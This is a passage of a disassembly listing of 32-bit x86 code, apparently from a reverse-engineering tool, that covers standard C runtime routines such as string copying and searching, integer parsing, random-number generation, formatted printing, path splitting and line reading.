; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBE4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBE4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A97C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB9A0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 2720571h
		nop
		push	eax
		nop
		call	near ptr 2710C85h


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB99C, edi
		mov	byte_4DB998, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB9A0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A960
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A960, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBE4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBE4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBE4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9D8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
